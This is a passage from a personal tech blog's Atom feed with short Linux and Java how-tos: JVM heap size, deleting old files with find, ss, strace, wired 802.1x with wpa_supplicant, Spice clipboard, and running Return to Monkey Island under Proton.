&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;java&lt;span class="w"&gt; &lt;/span&gt;-XX:+PrintFlagsFinal&lt;span class="w"&gt; &lt;/span&gt;-version&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;&amp;gt;/dev/null&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;grep&lt;span class="w"&gt; &lt;/span&gt;InitialHeapSize&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;awk&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;{print $4}&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;numfmt&lt;span class="w"&gt; &lt;/span&gt;--to&lt;span class="w"&gt; &lt;/span&gt;iec
498M
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;To read more about how this value is calculated, see &lt;a href="https://docs.oracle.com/javase/6/docs/technotes/guides/vm/gc-ergonomics.html"&gt;Garbage
Collector
Ergonomics&lt;/a&gt;&lt;/p&gt;</content><category term="java"/><category term="java"/></entry><entry><title>Delete Files Created Before Date</title><link href="https://skybert.net/linux/delete-files-created-before-date" rel="alternate"/><published>2022-10-27T00:00:00+02:00</published><updated>2022-10-27T00:00:00+02:00</updated><author><name>Torstein Krause Johansen</name></author><id>tag:skybert.net,2022-10-27:/linux/delete-files-created-before-date</id><summary type="html">&lt;p&gt;Say you want to delete files in &lt;code&gt;/var/lib/files&lt;/code&gt; created before &lt;code&gt;2022-01-01&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ touch --date &amp;quot;2022-01-01&amp;quot; /tmp/from
$ find /var/lib/files -type f -not -newer /tmp/from -delete
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;Delete friles between a from and to date&lt;/h2&gt;
&lt;p&gt;Say you want to delete files only created created in &lt;code&gt;2020&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ touch --date …&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</summary><content type="html">&lt;p&gt;Say you want to delete files in &lt;code&gt;/var/lib/files&lt;/code&gt; created before &lt;code&gt;2022-01-01&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ touch --date &amp;quot;2022-01-01&amp;quot; /tmp/from
$ find /var/lib/files -type f -not -newer /tmp/from -delete
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;Delete friles between a from and to date&lt;/h2&gt;
&lt;p&gt;Say you want to delete files only created created in &lt;code&gt;2020&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ touch --date &amp;quot;2020-01-01&amp;quot; /tmp/from
$ touch --date &amp;quot;2021-01-01&amp;quot; /tmp/to
$ find /var/lib/files -type f -newer /tmp/from -not -newer /tmp/to -delete
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</content><category term="linux"/><category term="linux"/></entry><entry><title>Find process listening on a port</title><link href="https://skybert.net/linux/find-process-listening-on-a-port" rel="alternate"/><published>2022-10-27T00:00:00+02:00</published><updated>2022-10-27T00:00:00+02:00</updated><author><name>Torstein Krause Johansen</name></author><id>tag:skybert.net,2022-10-27:/linux/find-process-listening-on-a-port</id><summary type="html">&lt;p&gt;In the old days, I used &lt;code&gt;netstat -nlp | grep -w &amp;lt;port&amp;gt;&lt;/code&gt;. These days
(2022), &lt;code&gt;ss&lt;/code&gt; the preferred tool to use:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ ss -lptn | grep -w 8080
LISTEN        0             4096                                   *:8080                             *:*            users:((&amp;quot;java&amp;quot;,pid=205361,fd=327))
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;With &lt;code&gt;ss&lt;/code&gt;, we can even do without the &lt;code&gt;grep&lt;/code&gt; by asking for the
&lt;em&gt;source&lt;/em&gt; port …&lt;/p&gt;</summary><content type="html">&lt;p&gt;In the old days, I used &lt;code&gt;netstat -nlp | grep -w &amp;lt;port&amp;gt;&lt;/code&gt;. These days
(2022), &lt;code&gt;ss&lt;/code&gt; the preferred tool to use:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ ss -lptn | grep -w 8080
LISTEN        0             4096                                   *:8080                             *:*            users:((&amp;quot;java&amp;quot;,pid=205361,fd=327))
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;With &lt;code&gt;ss&lt;/code&gt;, we can even do without the &lt;code&gt;grep&lt;/code&gt; by asking for the
&lt;em&gt;source&lt;/em&gt; port directly::&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ ss -lptn &amp;#39;sport = :8080&amp;#39;
State       Recv-Q      Send-Q           Local Address:Port             Peer Address:Port      Process
LISTEN      0           4096                         *:8080                        *:*          users:((&amp;quot;java&amp;quot;,pid=205361,fd=327))
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</content><category term="linux"/><category term="linux"/></entry><entry><title>Investigate what file(s) an app opens</title><link href="https://skybert.net/linux/investigate-what-files-an-app-opens" rel="alternate"/><published>2022-10-17T00:00:00+02:00</published><updated>2022-10-17T00:00:00+02:00</updated><author><name>Torstein Krause Johansen</name></author><id>tag:skybert.net,2022-10-17:/linux/investigate-what-files-an-app-opens</id><summary type="html">&lt;p&gt;Sometimes, it's important to know what files an app opens. Like today,
I had this Maven plugin that checks for known vulnerabilities. It
bailed out after a couple of seconds complaining that a cache file was
corrupt. However, even in the deepest &lt;code&gt;Caused by&lt;/code&gt; block in the stack
trace, there …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Sometimes, it's important to know what files an app opens. Like today,
I had this Maven plugin that checks for known vulnerabilities. It
bailed out after a couple of seconds complaining that a cache file was
corrupt. However, even in the deepest &lt;code&gt;Caused by&lt;/code&gt; block in the stack
trace, there was no hint of &lt;em&gt;which&lt;/em&gt; file it hard problems reading:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ mvn --batch-mode org.owasp:dependency-check-maven:6.0.3:check -Dformats=html,json
..
Caused by: java.lang.IllegalStateException: File corrupted in chunk 1416, expected page length 4..512, got 1117444 [1.4.199/6]
    at org.h2.mvstore.DataUtils.newIllegalStateException (DataUtils.java:883)
    at org.h2.mvstore.MVStore.readBufferForPage (MVStore.java:1055)
    at org.h2.mvstore.MVStore$ChunkIdsCollector.visit (MVStore.java:1606)
    at org.h2.mvstore.Page$1.run (Page.java:282)
    at java.util.concurrent.Executors$RunnableAdapter.call (Executors.java:515)
    at java.util.concurrent.FutureTask.run (FutureTask.java:264)
    at java.util.concurrent.ThreadPoolExecutor.runWorker (ThreadPoolExecutor.java:1128)
    at java.util.concurrent.ThreadPoolExecutor$Worker.run (ThreadPoolExecutor.java:628)
    at java.lang.Thread.run (Thread.java:829)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;code&gt;strace&lt;/code&gt; to the rescue. I first ran it without any filter (&lt;code&gt;-e &amp;lt;system
call&amp;gt;&lt;/code&gt;):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ strace -f mvn --batch-mode org.owasp:dependency-check-maven:6.0.3:check -Dformats=html,json
..
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;but quickly discovered that all files opened by the Maven Java process
used &lt;code&gt;openat&lt;/code&gt; to read files, so I reran it with &lt;code&gt;-e openat&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ content-engine $ strace -f -e openat  mvn --batch-mode org.owasp:dependency-check-maven:6.0.3:check -Dformats=html,json
..
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The still produced a lot of output. To narrow it down, I made an
educated guess that the cache file in question was in my home
directory. Since &lt;code&gt;strace&lt;/code&gt; writes its output to standard error, I
redirected standard err to standard out so that I could &lt;code&gt;grep&lt;/code&gt; the
output:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;strace&lt;span class="w"&gt; &lt;/span&gt;-f&lt;span class="w"&gt; &lt;/span&gt;-e&lt;span class="w"&gt; &lt;/span&gt;openat&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;mvn&lt;span class="w"&gt; &lt;/span&gt;--batch-mode&lt;span class="w"&gt; &lt;/span&gt;org.owasp:dependency-check-maven:6.0.3:check&lt;span class="w"&gt; &lt;/span&gt;-Dformats&lt;span class="o"&gt;=&lt;/span&gt;html,json&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;&amp;gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;grep&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$HOME&lt;/span&gt;
..
&lt;span class="o"&gt;[&lt;/span&gt;pid&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;3175768&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;openat&lt;span class="o"&gt;(&lt;/span&gt;AT_FDCWD,&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;/home/torstein/.m2/repository/org/owasp/dependency-check-data/5.0/odc.mv.db&amp;quot;&lt;/span&gt;,&lt;span class="w"&gt; &lt;/span&gt;O_RDWR&lt;span class="p"&gt;|&lt;/span&gt;O_CREAT,&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0666&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;151&lt;/span&gt;
..
&lt;span class="o"&gt;[&lt;/span&gt;pid&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;3178086&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;openat&lt;span class="o"&gt;(&lt;/span&gt;AT_FDCWD,&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;/home/torstein/.m2/repository/org/owasp/dependency-check-data/5.0/odc.trace.db&amp;quot;&lt;/span&gt;,&lt;span class="w"&gt; &lt;/span&gt;O_RDWR&lt;span class="p"&gt;|&lt;/span&gt;O_CREAT,&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0666&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;153&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;pid&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;3178086&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;openat&lt;span class="o"&gt;(&lt;/span&gt;AT_FDCWD,&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;/home/torstein/.m2/repository/org/owasp/dependency-check-data/5.0/odc.trace.db&amp;quot;&lt;/span&gt;,&lt;span class="w"&gt; &lt;/span&gt;O_WRONLY&lt;span class="p"&gt;|&lt;/span&gt;O_CREAT&lt;span class="p"&gt;|&lt;/span&gt;O_APPEND,&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0666&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;153&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;There, I know knew which files it complained about. Nice, eh?&lt;/p&gt;</content><category term="linux"/><category term="linux"/><category term="strace"/></entry><entry><title>Wired Network With 802.1x authentication</title><link href="https://skybert.net/linux/wired-network-with-8021x-authentication" rel="alternate"/><published>2022-09-29T00:00:00+02:00</published><updated>2022-09-29T00:00:00+02:00</updated><author><name>Torstein Krause Johansen</name></author><id>tag:skybert.net,2022-09-29:/linux/wired-network-with-8021x-authentication</id><summary type="html">&lt;p&gt;This is how I set up wired networking with 802.1x authentication
&lt;em&gt;without&lt;/em&gt; NetworkManager (which I don't like).&lt;/p&gt;
&lt;h2&gt;wpa_supplicant&lt;/h2&gt;
&lt;p&gt;Even though this is a wired connection, you need &lt;code&gt;wpa_supplicant&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# vim /etc/wpa_supplicant/wpa_supplicant-wired-adapter.conf
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;ctrl_interface=/run/wpa_supplicant
ap_scan=0

network={
  key_mgmt=IEEE8021X
  eap=PEAP
  identity=&amp;quot;john&amp;quot;
  password=&amp;quot;foo&amp;quot;
  phase2=&amp;quot;autheap …&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</summary><content type="html">&lt;p&gt;This is how I set up wired networking with 802.1x authentication
&lt;em&gt;without&lt;/em&gt; NetworkManager (which I don't like).&lt;/p&gt;
&lt;h2&gt;wpa_supplicant&lt;/h2&gt;
&lt;p&gt;Even though this is a wired connection, you need &lt;code&gt;wpa_supplicant&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# vim /etc/wpa_supplicant/wpa_supplicant-wired-adapter.conf
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;ctrl_interface=/run/wpa_supplicant
ap_scan=0

network={
  key_mgmt=IEEE8021X
  eap=PEAP
  identity=&amp;quot;john&amp;quot;
  password=&amp;quot;foo&amp;quot;
  phase2=&amp;quot;autheap=MSCHAPV2&amp;quot;
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Since it contains a password, hashed or not, be sure that only &lt;code&gt;root&lt;/code&gt;
can read it:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# chmod 600 /etc/wpa_supplicant/wpa_supplicant-wired-adapter.conf
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now, start &lt;code&gt;wpa_supplicant&lt;/code&gt; for your network interface, &lt;code&gt;enp0s20f0u7&lt;/code&gt;
in my case:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# wpa_supplicant -i enp0s20f0u7 -D wired -c /etc/wpa_supplicant/wpa_supplicant-wired-adapter.conf
Successfully initialized wpa_supplicant
enp0s20f0u7: Associated with 99:43:33:23:1d:21
enp0s20f0u7: CTRL-EVENT-SUBNET-STATUS-UPDATE status=0
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;Getting an IP&lt;/h2&gt;
&lt;p&gt;Now, when I run &lt;code&gt;dhclient&lt;/code&gt;, the &lt;code&gt;wpa_supplicant&lt;/code&gt; kicks into play:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;enp0s20f0u7: CTRL-EVENT-EAP-STARTED EAP authentication started
enp0s20f0u7: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=25
enp0s20f0u7: CTRL-EVENT-EAP-METHOD EAP vendor 0 method 25 (PEAP) selected
enp0s20f0u7: CTRL-EVENT-EAP-PEER-CERT depth=1 subject=&amp;#39;/DC=com/DC=example/CN=Company Issuing CA02 256&amp;#39; hash=234234asdfadsf23424
enp0s20f0u7: CTRL-EVENT-EAP-PEER-CERT depth=0 subject=&amp;#39;/CN=radius.example.com hash=asd234243243sadfsfd234243
enp0s20f0u7: CTRL-EVENT-EAP-PEER-ALT depth=0 DNS:radius.example.com
EAP-MSCHAPV2: Authentication succeeded
EAP-TLV: TLV Result - Success - EAP-TLV/Phase2 Completed
enp0s20f0u7: CTRL-EVENT-EAP-SUCCESS EAP authentication completed successfully
enp0s20f0u7: CTRL-EVENT-CONNECTED - Connection to 99:43:33:23:1d:21 completed [id=0 id_str=]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;And there! You're connected to your company network, authenticated
with your AD user name and password.&lt;/p&gt;</content><category term="linux"/><category term="linux"/><category term="networking"/></entry><entry><title>Getting two way clipboard between host and guest with virt-manager and Spice</title><link href="https://skybert.net/linux/getting-two-way-clipboard-between-host-and-guest-with-virt-manager-and-spice" rel="alternate"/><published>2022-09-27T00:00:00+02:00</published><updated>2022-09-27T00:00:00+02:00</updated><author><name>Torstein Krause Johansen</name></author><id>tag:skybert.net,2022-09-27:/linux/getting-two-way-clipboard-between-host-and-guest-with-virt-manager-and-spice</id><summary type="html">&lt;h2&gt;Host&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;host $ su -
host # pacman -S virt-manager
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;On the settings page for your virtual machine, ensure that you have a
channel for Spice (I got this automatically with the Arch
&lt;code&gt;virt-manager&lt;/code&gt; package):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;Device type: spicevmc
Target type: virtio
Target name: com.redhat.spice.0
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;Guest&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;host  $ ssh guest
guest $ su …&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</summary><content type="html">&lt;h2&gt;Host&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;host $ su -
host # pacman -S virt-manager
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;On the settings page for your virtual machine, ensure that you have a
channel for Spice (I got this automatically with the Arch
&lt;code&gt;virt-manager&lt;/code&gt; package):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;Device type: spicevmc
Target type: virtio
Target name: com.redhat.spice.0
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;Guest&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;host  $ ssh guest
guest $ su -
guest # apt-get install spice-vdagent
guest # systemctl enable spice-vdagent
guest # systemctl start spice-vdagent
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Update 2022-11-28: I noticed the clipboard stopped working in my
Debian guest running fluxbox. I added this manually (or in
&lt;code&gt;~/.fluxbox/startup&lt;/code&gt;) to start the spice agent for &lt;em&gt;my&lt;/em&gt; user:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;spice-vdagent &amp;amp;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;Two way clipboard&lt;/h2&gt;
&lt;p&gt;That's it. I can now copy text from Firefox running in the virtual
machine and paste it into Chrome running on my host machine.&lt;/p&gt;</content><category term="linux"/><category term="linux"/><category term="virtual"/><category term="kvm"/></entry><entry><title>Return to Monkey Island</title><link href="https://skybert.net/life/return-to-monkey-island" rel="alternate"/><published>2022-09-26T00:00:00+02:00</published><updated>2022-09-26T00:00:00+02:00</updated><author><name>Torstein Krause Johansen</name></author><id>tag:skybert.net,2022-09-26:/life/return-to-monkey-island</id><summary type="html">&lt;div class="pictures"&gt;
  &lt;a href="/graphics/2022/rtmi/20220922211850_1.jpg"&gt;
    &lt;img
      src="/graphics/2022/rtmi/20220922211850_1.jpg"
      alt="Return to Monkey Island"
      style="width: 250px"/&gt;
  &lt;/a&gt;
  &lt;a href="/graphics/2022/rtmi/20220922212040_1.jpg"&gt;
    &lt;img
      src="/graphics/2022/rtmi/20220922212040_1.jpg"
      alt="Return to Monkey Island"
      style="width: 250px"
    /&gt;
  &lt;/a&gt;
  &lt;a href="/graphics/2022/rtmi/20220922212416_1.jpg"&gt;
    &lt;img
      src="/graphics/2022/rtmi/20220922212416_1.jpg"
      alt="Return to Monkey Island"
      style="width: 250px"
    /&gt;
  &lt;/a&gt;
  &lt;a href="/graphics/2022/rtmi/20220922213337_1.jpg"&gt;
    &lt;img
      src="/graphics/2022/rtmi/20220922213337_1.jpg"
      alt="Return to Monkey Island"
      style="width: 250px"
    /&gt;
  &lt;/a&gt;
  &lt;a href="/graphics/2022/rtmi/20220923225540_1.jpg"&gt;
    &lt;img
      src="/graphics/2022/rtmi/20220923225540_1.jpg"
      alt="Return to Monkey Island"
      style="width: 250px"
    /&gt;
  &lt;/a&gt;
  &lt;a href="/graphics/2022/rtmi/20220923230006_1.jpg"&gt;
    &lt;img
      src="/graphics/2022/rtmi/20220923230006_1.jpg"
      alt="Return to Monkey Island"
      style="width: 250px"
    /&gt;
  &lt;/a&gt;
  &lt;a href="/graphics/2022/rtmi/20220923230021_1.jpg"&gt;
    &lt;img
      src="/graphics/2022/rtmi/20220923230021_1.jpg"
      alt="Return to Monkey Island"
      style="width: 250px"
    /&gt;
  &lt;/a&gt;
  &lt;a href="/graphics/2022/rtmi/20220923230735_1.jpg"&gt;
    &lt;img 
      src="/graphics/2022/rtmi/20220923230735_1.jpg"
      alt="Return to Monkey Island"
      style="width: 250px"
    /&gt;
  &lt;/a&gt;
  &lt;a href="/graphics/2022/rtmi/20220923231351_1.jpg"&gt;
    &lt;img
      src="/graphics/2022/rtmi/20220923231351_1.jpg"
      alt="Return to Monkey Island"
      style="width: 250px"
    /&gt;
  &lt;/a&gt;
  &lt;a href="/graphics/2022/rtmi/20220925222403_1.jpg"&gt;
    &lt;img
      src="/graphics/2022/rtmi/20220925222403_1.jpg"
      alt="Return to Monkey Island"
      style="width: 250px"
    /&gt;
  &lt;/a&gt;
&lt;/div&gt;

&lt;p&gt;I feel like I'm 14 again playing the latest &lt;a href="https://returntomonkeyisland.com/"&gt;Monkey Island
game&lt;/a&gt; from the brilliant &lt;a href="https://grumpygamer.com/"&gt;Ron
Gilbert&lt;/a&gt;. Every evening after the wee one
sleeps, I go back to the world of Monkey Island. Playing it slowly,
savouring the atmosphere, the characters, the humour, the music, the
puzzles.  May it never …&lt;/p&gt;</summary><content type="html">&lt;div class="pictures"&gt;
  &lt;a href="/graphics/2022/rtmi/20220922211850_1.jpg"&gt;
    &lt;img
      src="/graphics/2022/rtmi/20220922211850_1.jpg"
      alt="Return to Monkey Island"
      style="width: 250px"/&gt;
  &lt;/a&gt;
  &lt;a href="/graphics/2022/rtmi/20220922212040_1.jpg"&gt;
    &lt;img
      src="/graphics/2022/rtmi/20220922212040_1.jpg"
      alt="Return to Monkey Island"
      style="width: 250px"
    /&gt;
  &lt;/a&gt;
  &lt;a href="/graphics/2022/rtmi/20220922212416_1.jpg"&gt;
    &lt;img
      src="/graphics/2022/rtmi/20220922212416_1.jpg"
      alt="Return to Monkey Island"
      style="width: 250px"
    /&gt;
  &lt;/a&gt;
  &lt;a href="/graphics/2022/rtmi/20220922213337_1.jpg"&gt;
    &lt;img
      src="/graphics/2022/rtmi/20220922213337_1.jpg"
      alt="Return to Monkey Island"
      style="width: 250px"
    /&gt;
  &lt;/a&gt;
  &lt;a href="/graphics/2022/rtmi/20220923225540_1.jpg"&gt;
    &lt;img
      src="/graphics/2022/rtmi/20220923225540_1.jpg"
      alt="Return to Monkey Island"
      style="width: 250px"
    /&gt;
  &lt;/a&gt;
  &lt;a href="/graphics/2022/rtmi/20220923230006_1.jpg"&gt;
    &lt;img
      src="/graphics/2022/rtmi/20220923230006_1.jpg"
      alt="Return to Monkey Island"
      style="width: 250px"
    /&gt;
  &lt;/a&gt;
  &lt;a href="/graphics/2022/rtmi/20220923230021_1.jpg"&gt;
    &lt;img
      src="/graphics/2022/rtmi/20220923230021_1.jpg"
      alt="Return to Monkey Island"
      style="width: 250px"
    /&gt;
  &lt;/a&gt;
  &lt;a href="/graphics/2022/rtmi/20220923230735_1.jpg"&gt;
    &lt;img 
      src="/graphics/2022/rtmi/20220923230735_1.jpg"
      alt="Return to Monkey Island"
      style="width: 250px"
    /&gt;
  &lt;/a&gt;
  &lt;a href="/graphics/2022/rtmi/20220923231351_1.jpg"&gt;
    &lt;img
      src="/graphics/2022/rtmi/20220923231351_1.jpg"
      alt="Return to Monkey Island"
      style="width: 250px"
    /&gt;
  &lt;/a&gt;
  &lt;a href="/graphics/2022/rtmi/20220925222403_1.jpg"&gt;
    &lt;img
      src="/graphics/2022/rtmi/20220925222403_1.jpg"
      alt="Return to Monkey Island"
      style="width: 250px"
    /&gt;
  &lt;/a&gt;
&lt;/div&gt;

&lt;p&gt;I feel like I'm 14 again playing the latest &lt;a href="https://returntomonkeyisland.com/"&gt;Monkey Island
game&lt;/a&gt; from the brilliant &lt;a href="https://grumpygamer.com/"&gt;Ron
Gilbert&lt;/a&gt;. Every evening after the wee one
sleeps, I go back to the world of Monkey Island. Playing it slowly,
savouring the atmosphere, the characters, the humour, the music, the
puzzles.  May it never end.&lt;/p&gt;
&lt;h2&gt;To get Return to Monkey Island to run on Linux&lt;/h2&gt;
&lt;p&gt;After installing RtMI through Steam and selecting to use experimental
Proton to run it, it started up just fine with music and all, but no
graphics. The window was just black. Running the game fullscreen or
windowed made no difference. Helpful folks on the Steam forums
suggested different workarounds, one of worked for me. It involved two
things: 1) using Proton tricks and switching to DirectX rendering:&lt;/p&gt;
&lt;p&gt;First off, I installed &lt;code&gt;protontricks&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# pacman -Sy chaotic-aur/protontricks-git
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Then, I applied  a tweak for the game:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ protontricks 2060130 d3dcompiler_47
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Finally, I instructed Proton to use DirectX for rendering instead of Vulkan:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ mkdir -p &amp;quot;~/.steam/steam/steamapps/compatdata/2060130/pfx/drive_c/users/steamuser/AppData/Roaming/Terrible\ Toybox/Return\ to\ Monkey\ Island/&amp;quot;
$ echo &amp;#39;renderer: &amp;quot;directx&amp;quot;&amp;#39; &amp;gt; &amp;quot;~/.steam/steam/steamapps/compatdata/2060130/pfx/drive_c/users/steamuser/AppData/Roaming/Terrible\ Toybox/Return\ to\ Monkey\ Island/Prefs.json&amp;quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;I also did what proton suggested when running it, hopefully that'll
make the graphics run smoothly. I don't actually know if this made a
difference, but running the game (admittedly with reduced resolution)
gives a super smooth experience:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# sysctl dev.i915.perf_stream_paranoid=0
